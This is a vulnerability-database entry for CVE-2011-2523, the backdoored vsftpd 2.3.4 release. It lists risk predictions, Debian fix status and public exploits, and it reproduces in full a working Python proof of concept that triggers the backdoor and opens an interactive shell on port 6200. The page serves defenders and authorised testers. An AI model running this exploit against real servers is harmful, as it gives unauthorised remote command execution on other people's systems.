CVE-2011-2523

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49757 remote unix verified python · 1 KB
HerculesRD · 2021-04-12

vsftpd 2.3.4 - Backdoor Command Execution

python exploit Source: Exploit-DB
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   
                                                           
from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
EDB-17491 remote unix verified
Metasploit · 2011-07-05

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

VSFTPD 2.3.4 Backdoor Command Execution
Source fetch failed: fetch_error — view the original via the link above.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0
sid Fixed 0
forky Fixed 0
bullseye Fixed 0
bookworm Fixed 0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.